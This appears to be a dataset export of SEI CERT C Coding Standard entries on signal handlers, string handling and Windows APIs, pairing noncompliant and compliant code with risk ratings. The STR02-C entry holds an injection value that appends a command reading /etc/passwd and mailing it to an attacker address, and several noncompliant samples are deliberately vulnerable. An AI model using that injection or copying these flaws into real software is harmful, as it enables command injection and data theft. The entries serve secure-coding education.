Do not access shared objects in signal handlers
Accessing or modifying shared objects in signal handlers can result in race conditions that can leave data in an inconsistent state. The two exceptions (C Standard, 5.1.2.3, paragraph 5) to this rule are the ability to read from and write to lock-free atomic objects and variables of type volatile sig_atomic_t . Accessi...
#include <signal.h> #include <stdlib.h> #include <string.h> enum { MAX_MSG_SIZE = 24 }; char *err_msg; void handler(int signum) { strcpy(err_msg, "SIGINT encountered."); } int main(void) { signal(SIGINT, handler); err_msg = (char *)malloc(MAX_MSG_SIZE); if (err_msg == NULL) { /* Handle error */ } st...
#include <signal.h> #include <stdlib.h> #include <string.h> enum { MAX_MSG_SIZE = 24 }; volatile sig_atomic_t e_flag = 0; void handler(int signum) { e_flag = 1; } int main(void) { char *err_msg = (char *)malloc(MAX_MSG_SIZE); if (err_msg == NULL) { /* Handle error */ } signal(SIGINT, handler);  strcp...
## Risk Assessment Accessing or modifying shared objects in signal handlers can result in accessing data in an inconsistent state. Michal Zalewski's paper "Delivering Signals for Fun and Profit" [ Zalewski 2001 ] provides some examples of vulnerabilities that can result from violating this and other signal-handling rul...
SEI CERT C Coding Standard > 2 Rules > Rule 11. Signals (SIG)
c
87,152,182
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152182
2
11
SIG34-C
Do not call signal() from within interruptible signal handlers
A signal handler should not reassert its desire to handle its own signal. This is often done on nonpersistent platforms—that is, platforms that, upon receiving a signal, reset the handler for the signal to SIG_DFL before calling the bound signal handler. Calling signal() under these conditions presents a race condition...
#include <signal.h>   void handler(int signum) { if (signal(signum, handler) == SIG_ERR) { /* Handle error */ } /* Handle signal */ }   void func(void) { if (signal(SIGUSR1, handler) == SIG_ERR) { /* Handle error */ } } ## Noncompliant Code Example (POSIX) On nonpersistent platforms, this noncomplian...
#include <signal.h>   void handler(int signum) { /* Handle signal */ }   void func(void) { if (signal(SIGUSR1, handler) == SIG_ERR) { /* Handle error */ } } #include <signal.h> #include <stddef.h>   void handler(int signum) { /* Handle signal */ } void func(void) { struct sigaction act; act.sa_handler...
## Risk Assessment Two signals in quick succession can trigger a race condition on nonpersistent platforms, causing the signal's default behavior despite a handler's attempt to override it. Rule Severity Likelihood Detectable Repairable Priority Level SIG34-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version C...
SEI CERT C Coding Standard > 2 Rules > Rule 11. Signals (SIG)
c
87,152,239
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152239
2
11
SIG35-C
Do not return from a computational exception signal handler
According to the C Standard, 7.14.1.1 paragraph 3 [ ISO/IEC 9899:2024 ], if a signal handler returns when it has been entered as a result of a computational exception (that is, with the value of its argument of SIGFPE , SIGILL , SIGSEGV , or any other implementation-defined value corresponding to such an exception) ret...
#include <errno.h> #include <limits.h> #include <signal.h> #include <stdlib.h> volatile sig_atomic_t denom; void sighandle(int s) { /* Fix the offending volatile */ if (denom == 0) { denom = 1; } } int main(int argc, char *argv[]) { if (argc < 2) { return 0; }   char *end = NULL; long temp = st...
#include <errno.h> #include <limits.h> #include <signal.h> #include <stdlib.h> int main(int argc, char *argv[]) { if (argc < 2) { return 0; }   char *end = NULL; long denom = strtol(argv[1], &end, 10);   if (end == argv[1] || 0 != *end || ((LONG_MIN == denom || LONG_MAX == denom) && errno == ERANGE...
## Risk Assessment Returning from a computational exception signal handler is undefined behavior . Rule Severity Likelihood Detectable Repairable Priority Level SIG35-C Low Unlikely No No P1 L3 Automated Detection Tool Version Checker Description CertC-SIG35 LANG.STRUCT.RFCESH Return from Computational Exception Signal...
SEI CERT C Coding Standard > 2 Rules > Rule 11. Signals (SIG)
c
87,152,151
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152151
3
7
STR00-C
Represent characters using an appropriate type
Strings are a fundamental concept in software engineering, but they are not a built-in type in C. Null-terminated byte strings (NTBS) consist of a contiguous sequence of characters terminated by and including the first null character and are supported in C as the format used for string literals. The C programming langu...
null
null
## Risk Assessment Understanding how to represent characters and character strings can eliminate many common programming errors that lead to software vulnerabilities . Recommendation Severity Likelihood Detectable Repairable Priority Level STR00-C Medium Probable No No P4 L3 Automated Detection Tool Version Checker Des...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,414
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152414
3
7
STR01-C
Adopt and implement a consistent plan for managing strings
There are two basic approaches for managing strings in C programs: the first is to maintain strings in statically allocated arrays; the second is to dynamically allocate memory as required. Each approach has advantages and disadvantages. However, it generally makes sense to select a single approach to managing strings ...
null
null
## Risk Assessment Failing to adopt a consistent plan for managing strings within an application can lead to inconsistent decisions, which may make it difficult to ensure system properties, such as adhering to safety requirements. Recommendation Severity Likelihood Detectable Repairable Priority Level STR01-C Low Unlik...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,409
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152409
3
7
STR02-C
Sanitize data passed to complex subsystems
String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability . As a result, it is necessary to sanitize all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpr...
sprintf(buffer, "/bin/mail %s < /tmp/email", addr); system(buffer); bogus@addr.com; cat /etc/passwd | mail some@badguy.net (void) execl(LOGIN_PROGRAM, "login", "-p", "-d", slavename, "-h", host, "-s", pam_svc_name, (AuthenticatingUser != NULL ? AuthenticatingUser : getenv("USER")), 0); ## Noncompliant...
static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "1234567890_-.@"; char user_data[] = "Bad char 1:} Bad char 2:{"; char *cp = user_data; /* Cursor into string */ const char *end = user_data + strlen( user_data); for (cp += strspn(cp, ok...
## Risk Assessment Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data. Recommendation Severity Likelihood Detectable Repairable Priority Level STR02-C High Likely No No P9 L2 Automated Detection Tool Version Checker Description Sup...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,399
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152399
3
7
STR03-C
Do not inadvertently truncate a string
Alternative functions that limit the number of bytes copied are often recommended to mitigate buffer overflow vulnerabilities . Examples include strncpy() instead of strcpy() strncat() instead of strcat() fgets() instead of gets() snprintf() instead of sprintf() These functions truncate strings that exceed the specifie...
char *string_data; char a[16]; /* ... */ strncpy(a, string_data, sizeof(a)); ## Noncompliant Code Example The standard functions strncpy() and strncat() copy a specified number of characters n from a source string to a destination array. In the case of strncpy() , if there is no null character in the first n character...
char *string_data = NULL; char a[16]; /* ... */ if (string_data == NULL) { /* Handle null pointer error */ } else if (strlen(string_data) >= sizeof(a)) { /* Handle overlong string error */ } else { strcpy(a, string_data); } ## Compliant Solution (Adequate Space) Either the strcpy() or strncpy() function can be...
## Risk Assessment Truncating strings can lead to a loss of data. Recommendation Severity Likelihood Detectable Repairable Priority Level STR03-C Medium Probable No No P4 L3 Automated Detection Tool Version Checker Description MISC.MEM.NTERM No Space For Null Terminator Compass/ROSE Could detect violations in the follo...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,350
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152350
3
7
STR04-C
Use plain char for characters in the basic character set
There are three character types : char , signed char , and unsigned char . Compilers have the latitude to define char to have the same range, representation, and behavior as either signed char or unsigned char . Irrespective of the choice made, char is a separate type from the other two and is not compatible with eithe...
size_t len; char cstr[] = "char string"; signed char scstr[] = "signed char string"; unsigned char ucstr[] = "unsigned char string"; len = strlen(cstr); len = strlen(scstr); /* Warns when char is unsigned */ len = strlen(ucstr); /* Warns when char is signed */ ## Noncompliant Code Example This noncompliant code exa...
size_t len; char cstr[] = "char string"; len = strlen(cstr); ## Compliant Solution ## The compliant solution uses plaincharfor character data: #ccccff c size_t len; char cstr[] = "char string"; len = strlen(cstr); Conversions are not required, and the code compiles cleanly at high warning levels without casts.
## Risk Assessment Failing to use plain char for characters in the basic character set can lead to excessive casts and less effective compiler diagnostics. Recommendation Severity Likelihood Detectable Repairable Priority Level STR04-C Low Unlikely No Yes P2 L3 Automated Detection Tool Version Checker Description Suppo...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,066
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152066
3
7
STR05-C
Use pointers to const when referring to string literals
The type of a narrow string literal is an array of char , and the type of a wide string literal is an array of wchar_t . However, string literals (of both types) are notionally constant and should consequently be protected by const qualification. This recommendation is a specialization of and also supports . Adding con...
char *c = "Hello"; wchar_t *c = L"Hello"; ## Noncompliant Code Example (Narrow String Literal) ## In this noncompliant code example, theconstkeyword has been omitted: #FFcccc c char *c = "Hello"; If a statement such as c[0] = 'C' were placed following the declaration in the noncompliant code example, the code is like...
const char *c = "Hello"; char c[] = "Hello"; wchar_t const *c = L"Hello"; wchar_t c[] = L"Hello"; ## Compliant Solution (Immutable Strings) In this compliant solution, the characters referred to by the pointer c are const -qualified, meaning that any attempt to assign them to different values is an error: #ccccFF c...
## Risk Assessment Modifying string literals causes undefined behavior , resulting in abnormal program termination and denial-of-service vulnerabilities . Recommendation Severity Likelihood Detectable Repairable Priority Level STR05-C Low Unlikely Yes Yes P3 L3 Automated Detection Tool Version Checker Description liter...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,063
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152063
3
7
STR06-C
Do not assume that strtok() leaves the parse string unchanged
The C function strtok() is a string tokenization function that takes two arguments: an initial string to be parsed and a const -qualified character delimiter. It returns a pointer to the first character of a token or to a null pointer if there is no token. The first time strtok() is called, the string is parsed into to...
char *token; char *path = getenv("PATH"); token = strtok(path, ":"); puts(token); while (token = strtok(0, ":")) { puts(token); } printf("PATH: %s\n", path); /* PATH is now just "/usr/bin" */ ## Noncompliant Code Example In this example, the strtok() function is used to parse the first argument into colon-delimit...
char *token; const char *path = getenv("PATH"); /* PATH is something like "/usr/bin:/bin:/usr/sbin:/sbin" */ char *copy = (char *)malloc(strlen(path) + 1); if (copy == NULL) { /* Handle error */ } strcpy(copy, path); token = strtok(copy, ":"); puts(token); while (token = strtok(0, ":")) { puts(token); } free(cop...
## Risk Assessment The Linux Programmer's Manual (man) page on strtok(3) [ Linux 2008 ] states: Never use this function. This function modifies its first argument. The identity of the delimiting character is lost. This function cannot be used on constant strings. The improper use of strtok() is likely to result in trun...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,288
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152288
3
7
STR09-C
Don't assume numeric values for expressions with type plain character
For portable applications, use only the assignment = operator, the equality operators == and != , and the unary & operator on plain-character-typed or plain-wide-character-typed expressions. This practice is recommended because the C Standard requires only the digit characters (0–9) to have consecutive numerical values...
char ch = 'b'; if ((ch >= 'a') && (ch <= 'c')) { /* ... */ } ## Noncompliant Code Example This noncompliant code example attempts to determine if the value of a character variable is between 'a' and 'c' inclusive. However, because the C Standard does not require the letter characters to be in consecutive or alphabet...
char ch = 't'; if ((ch == 'a') || (ch == 'b') || (ch == 'c')) { /* ... */ } ## Compliant Solution In this example, the specific check is enforced using compliant operations on character expressions: #CCCCFF c char ch = 't'; if ((ch == 'a') || (ch == 'b') || (ch == 'c')) { /* ... */ }
## Risk Assessment Rule Severity Likelihood Detectable Repairable Priority Level STR09-C Low Unlikely Yes No P2 L3 Automated Detection Tool Version Checker Description Supported indirectly via MISRA C:2012 rule 10.1. CertC-STR09 C2106, C2107 LDRA tool suite 329 S Fully implemented Parasoft C/C++test CERT_C-STR09-a Expr...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,217
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152217
3
7
STR10-C
Do not concatenate different type of string literals
According to MISRA 2008 , concatenation of wide and narrow string literals leads to undefined behavior . This was once considered implicitly undefined behavior until C90 [ ISO/IEC 9899:1990 ]. However, C99 defined this behavior [ ISO/IEC 9899:1999 ], and C11 further explains in subclause 6.4.5, paragraph 5 [ ISO/IEC 98...
wchar_t *msg = L"This message is very long, so I want to divide it " "into two parts."; ## Noncompliant Code Example (C90) This noncompliant code example concatenates wide and narrow string literals. Although the behavior is undefined in C90, the programmer probably intended to create a wide string lit...
wchar_t *msg = L"This message is very long, so I want to divide it " L"into two parts."; char *msg = "This message is very long, so I want to divide it " "into two parts."; ## Compliant Solution (C90, Wide String Literals) If the concatenated string needs to be a wide string literal, each e...
## Risk Assessment The concatenation of wide and narrow string literals could lead to undefined behavior. Rule Severity Likelihood Detectable Repairable Priority Level STR10-C Low Probable Yes No P4 L3 Automated Detection Tool Version Checker Description encoding-mismatch Fully checked CertC-STR10 CC2.STR10 Fully imple...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,096
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152096
3
7
STR11-C
Do not specify the bound of a character array initialized with a string literal
The C Standard allows an array variable to be declared both with a bound index and with an initialization literal. The initialization literal also implies an array size in the number of elements specified. For strings, the size specified by a string literal is the number of characters in the literal plus one for the te...
const char s[3] = "abc"; ## Noncompliant Code Example This noncompliant code example initializes an array of characters using a string literal that defines one character more (counting the terminating '\0' ) than the array can hold: #FFCCCC c const char s[3] = "abc"; The size of the array s is 3, although the size of ...
const char s[] = "abc"; ## Compliant Solution This compliant solution does not specify the bound of a character array in the array declaration. If the array bound is omitted, the compiler allocates sufficient storage to store the entire string literal, including the terminating null character. #ccccff c const char s[]...
## Risk Assessment Recommendation Severity Likelihood Detectable Repairable Priority Level STR11-C Low Probable Yes Yes P6 L2 Automated Detection Tool Version Checker Description initializer-excess string-initializer-null Partially checked CertC-STR11 Compass/ROSE CC2.STR36 Fully implemented C1312 LDRA tool suite 404 S...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 07. Characters and Strings (STR)
c
87,152,214
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152214
2
7
STR30-C
Do not attempt to modify string literals
According to the C Standard, 6.4.5, paragraph 3 [ ISO/IEC 9899:2024 ]: A character string literal is a sequence of zero or more multibyte characters enclosed in double-quotes, as in "xyz" . A UTF-8 string literal is the same, except prefixed by u8 . A wchar _ t string literal is the same, except prefixed by L . A UTF-1...
char *str = "string literal"; str[0] = 'S'; #include <stdlib.h>   void func(void) { mkstemp("/tmp/edXXXXXX"); } #include <stdio.h> #include <string.h>   const char *get_dirname(const char *pathname) { char *slash; slash = strrchr(pathname, '/'); if (slash) { *slash = '\0'; /* Undefined behavior */ } ...
char str[] = "string literal"; str[0] = 'S'; #include <stdlib.h>   void func(void) { static char fname[] = "/tmp/edXXXXXX"; mkstemp(fname); } #include <stddef.h> #include <stdio.h> #include <string.h>   char *get_dirname(const char *pathname, char *dirname, size_t size) {   const char *slash;   slash = strrchr(pa...
## Risk Assessment Modifying string literals can lead to abnormal program termination and possibly denial-of-service attacks . Rule Severity Likelihood Detectable Repairable Priority Level STR30-C Low Likely No Yes P6 L2 Automated Detection Tool Version Checker Description string-literal-modfication write-to-string-lit...
SEI CERT C Coding Standard > 2 Rules > Rule 07. Characters and Strings (STR)
c
87,152,048
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152048
2
7
STR31-C
Guarantee that storage for strings has sufficient space for character data and the null terminator
Copying data to a buffer that is not large enough to hold that data results in a buffer overflow. Buffer overflows occur frequently when manipulating strings [ Seacord 2013b ]. To prevent such errors, either limit copies through truncation or, preferably, ensure that the destination is of sufficient size to hold the ch...
#include <stddef.h>   void copy(size_t n, char src[n], char dest[n]) { size_t i; for (i = 0; src[i] && (i < n); ++i) { dest[i] = src[i]; } dest[i] = '\0'; } #include <stdio.h>   #define BUFFER_SIZE 1024 void func(void) { char buf[BUFFER_SIZE]; if (gets(buf) == NULL) { /* Handle error */ }...
#include <stddef.h>   void copy(size_t n, char src[n], char dest[n]) { size_t i; for (i = 0; src[i] && (i < n - 1); ++i) { dest[i] = src[i]; } dest[i] = '\0'; } #include <stdio.h> #include <string.h>   enum { BUFFERSIZE = 32 };   void func(void) { char buf[BUFFERSIZE]; int ch; if (fgets(buf, ...
## Risk Assessment Copying string data to a buffer that is too small to hold that data results in a buffer overflow. Attackers can exploit this condition to execute arbitrary code with the permissions of the vulnerable process. Rule Severity Likelihood Detectable Repairable Priority Level STR31-C High Likely No No P9 L...
SEI CERT C Coding Standard > 2 Rules > Rule 07. Characters and Strings (STR)
c
87,152,047
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152047
2
7
STR32-C
Do not pass a non-null-terminated character sequence to a library function that expects a string
Many library functions accept a string or wide string argument with the constraint that the string they receive is properly null-terminated. Passing a character sequence or wide character sequence that is not null-terminated to such a function can result in accessing memory that is outside the bounds of the object. Do ...
#include <stdio.h>   void func(void) { char c_str[3] = "abc"; printf("%s\n", c_str); } #include <stdlib.h> #include <wchar.h>   wchar_t *cur_msg = NULL; size_t cur_msg_size = 1024; size_t cur_msg_len = 0; void lessen_memory_usage(void) { wchar_t *temp; size_t temp_size; /* ... */ if (cur_msg != NULL) { ...
#include <stdio.h>   void func(void) { char c_str[] = "abc"; printf("%s\n", c_str); } #include <stdlib.h> #include <wchar.h>   wchar_t *cur_msg = NULL; size_t cur_msg_size = 1024; size_t cur_msg_len = 0; void lessen_memory_usage(void) { wchar_t *temp; size_t temp_size; /* ... */ if (cur_msg != NULL) { ...
## Risk Assessment Failure to properly null-terminate a character sequence that is passed to a library function that expects a string can result in buffer overflows and the execution of arbitrary code with the permissions of the vulnerable process. Null-termination errors can also result in unintended information discl...
SEI CERT C Coding Standard > 2 Rules > Rule 07. Characters and Strings (STR)
c
87,152,133
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152133
2
7
STR34-C
Cast characters to unsigned char before converting to larger integer sizes
Signed character data must be converted to unsigned char before being assigned or converted to a larger signed type. This rule applies to both signed char and (plain) char characters on implementations where char is defined to have the same range, representation, and behaviors as signed char . However, this rule is app...
static int yy_string_get(void) { register char *c_str; register int c; c_str = bash_input.location.string; c = EOF; /* If the string doesn't exist or is empty, EOF found */ if (c_str && *c_str) { c = *c_str++; bash_input.location.string = c_str; } return (c); } static int yy_string_get(void) ...
static int yy_string_get(void) { register char *c_str; register int c; c_str = bash_input.location.string; c = EOF; /* If the string doesn't exist or is empty, EOF found */ if (c_str && *c_str) { /* Cast to unsigned type */ c = (unsigned char)*c_str++; bash_input.location.string = c_str; } ...
## Risk Assessment Conversion of character data resulting in a value in excess of UCHAR_MAX is an often-missed error that can result in a disturbingly broad range of potentially severe vulnerabilities . Rule Severity Likelihood Detectable Repairable Priority Level STR34-C Medium Probable Yes No P8 L2 Automated Detectio...
SEI CERT C Coding Standard > 2 Rules > Rule 07. Characters and Strings (STR)
c
87,152,388
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152388
2
7
STR37-C
Arguments to character-handling functions must be representable as an unsigned char
According to the C Standard, 7.4.1 paragraph 1 [ ISO/IEC 9899:2024 ], The header <ctype.h> declares several functions useful for classifying and mapping characters. In all cases the argument is an int , the value of which shall be representable as an unsigned char or shall equal the value of the macro EOF . If the argu...
#include <ctype.h> #include <string.h>   size_t count_preceding_whitespace(const char *s) { const char *t = s; size_t length = strlen(s) + 1; while (isspace(*t) && (t - s < length)) { ++t; } return t - s; }  ## Noncompliant Code Example On implementations where plain char is signed, this code example is...
#include <ctype.h> #include <string.h>   size_t count_preceding_whitespace(const char *s) { const char *t = s; size_t length = strlen(s) + 1; while (isspace((unsigned char)*t) && (t - s < length)) { ++t; } return t - s; } ## Compliant Solution ## This compliant solution casts the character tounsigned c...
## Risk Assessment Passing values to character handling functions that cannot be represented as an unsigned char to character handling functions is undefined behavior 112 . Rule Severity Likelihood Detectable Repairable Priority Level STR37-C Low Unlikely Yes Yes P3 L3 Automated Detection Tool Version Checker Descripti...
SEI CERT C Coding Standard > 2 Rules > Rule 07. Characters and Strings (STR)
c
87,152,326
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152326
2
7
STR38-C
Do not confuse narrow and wide character strings and functions
Passing narrow string arguments to wide string functions or wide string arguments to narrow string functions can lead to unexpected and undefined behavior 151 . Scaling problems are likely because of the difference in size between wide and narrow characters. (See ARR39-C. Do not add or subtract a scaled integer to a po...
#include <stddef.h> #include <string.h>   void func(void) { wchar_t wide_str1[] = L"0123456789"; wchar_t wide_str2[] = L"0000000000"; strncpy(wide_str2, wide_str1, 10); } #include <wchar.h>   void func(void) { char narrow_str1[] = "01234567890123456789"; char narrow_str2[] = "0000000000"; wcsncpy(narro...
#include <string.h> #include <wchar.h>   void func(void) { wchar_t wide_str1[] = L"0123456789"; wchar_t wide_str2[] = L"0000000000"; /* Use of proper-width function */ wcsncpy(wide_str2, wide_str1, 10); char narrow_str1[] = "0123456789"; char narrow_str2[] = "0000000000"; /* Use of proper-width function...
## Risk Assessment Confusing narrow and wide character strings can result in buffer overflows, data truncation, and other defects. Rule Severity Likelihood Detectable Repairable Priority Level STR38-C High Likely Yes No P18 L1 Automated Detection Modern compilers recognize the difference between a char * and a wchar_t ...
SEI CERT C Coding Standard > 2 Rules > Rule 07. Characters and Strings (STR)
c
87,152,030
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152030
3
51
WIN00-C
Be specific when dynamically loading libraries
The LoadLibrary() or LoadLibraryEx() function calls [ MSDN ] allow you to dynamically load a library at runtime and use a specific algorithm to locate the library within the file system [ MSDN ]. It is possible for an attacker to place a file on the DLL search path such that your application inadvertently loads and exe...
#include <Windows.h> void func(void) { HMODULE hMod = LoadLibrary(TEXT("MyLibrary.dll")); if (hMod != NULL) { typedef void (__cdecl func_type)(void); func_type *fn = (func_type *)GetProcAddress(hMod, "MyFunction"); if (fn != NULL) fn(); } } ## Noncompliant Code Example #ffcccc c #include <Win...
#include <Windows.h> void func(void) { HMODULE hMod = LoadLibraryEx(TEXT("MyLibrary.dll"), NULL, LOAD_LIBRARY_SEARCH_APPLICATION_DIR | LOAD_LIBRARY_SEARCH_SYSTEM32); if (hMod != NULL) { typedef void (__cdecl func_type)(void); func_type *fn = (f...
## Risk Assessment Depending on the version of Windows the application is run on, failure to properly specify the library can lead to arbitrary code execution. Recommendation Severity Likelihood Detectable Repairable Priority Level WIN00-C High Unlikely Yes No P6 L2 Automated Detection Tool Version Checker Description ...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 51. Microsoft Windows (WIN)
c
87,152,032
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152032
3
51
WIN01-C
Do not forcibly terminate execution
When a thread terminates under normal conditions, thread-specific resources such as the initial stack space and thread-specific HANDLE objects are released automatically by the system and notifications are sent to other parts of the application, such as DLL_THREAD_DETACH messages being sent to DLLs.  However, if a thre...
#include <Windows.h>   DWORD ThreadID; /* Filled in by call to CreateThread */   /* Thread 1 */ DWORD WINAPI ThreadProc(LPVOID param) { /* Performing work */ }   /* Thread 2 */ HANDLE hThread = OpenThread(THREAD_TERMINATE, FALSE, ThreadID); if (hThread) { TerminateThread(hThread, 0xFF); CloseHandle(hThread); } ...
#include <Windows.h> DWORD ThreadID; /* Filled in by call to CreateThread */ LONG ShouldThreadExit = 0; /* Thread 1 */ DWORD WINAPI ThreadProc(LPVOID param) { while (1) { /* Performing work */ if (1 == InterlockedCompareExchange(&ShouldThreadExit, 0, 1)) return 0xFF; } } /* Thread 2 */ Interlock...
## Risk Assessment Incorrectly using threads that asynchronously cancel may result in silent corruption, resource leaks, and, in the worst case, unpredictable interactions. Rule Severity Likelihood Detectable Repairable Priority Level WIN01-C High Likely Yes No P18 L1 Automated Detection Tool Version Checker Descriptio...
SEI CERT C Coding Standard > 3 Recommendations > Rec. 51. Microsoft Windows (WIN)
c
87,151,928
https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151928
3
51
WIN02-C
Restrict privileges when spawning child processes
The principle of least privilege states that every program and every user of the system should operate using the least set of privileges necessary to complete the job [ Saltzer 1974 , Saltzer 1975 ]. The Build Security In website [ DHS 2006 ] provides additional definitions of this principle. Executing with minimal pri...
#include <Windows.h> void launch_notepad(void) { PROCESS_INFORMATION pi; STARTUPINFO si; ZeroMemory(&si, sizeof(si)); si.cb = sizeof( si ); if (CreateProcess(TEXT("C:\\Windows\\Notepad.exe"), NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi )) { /* Process has been created; work wit...
#include <Windows.h> #include <sddl.h>   static void launch_notepad_as_user(HANDLE token) { PROCESS_INFORMATION pi; STARTUPINFO si; ZeroMemory(&si, sizeof(si)); si.cb = sizeof( si ); if (CreateProcessAsUser(token, TEXT("C:\\Windows\\Notepad.exe"), NULL, NULL, NULL, FALSE, 0, NULL, ...
## Risk Assessment Failure to follow the principle of least privilege may allow exploits to execute with elevated privileges. Recommendation Severity Likelihood Detectable Repairable Priority Level WIN02-C High Likely Yes No P18 L1
SEI CERT C Coding Standard > 3 Recommendations > Rec. 51. Microsoft Windows (WIN)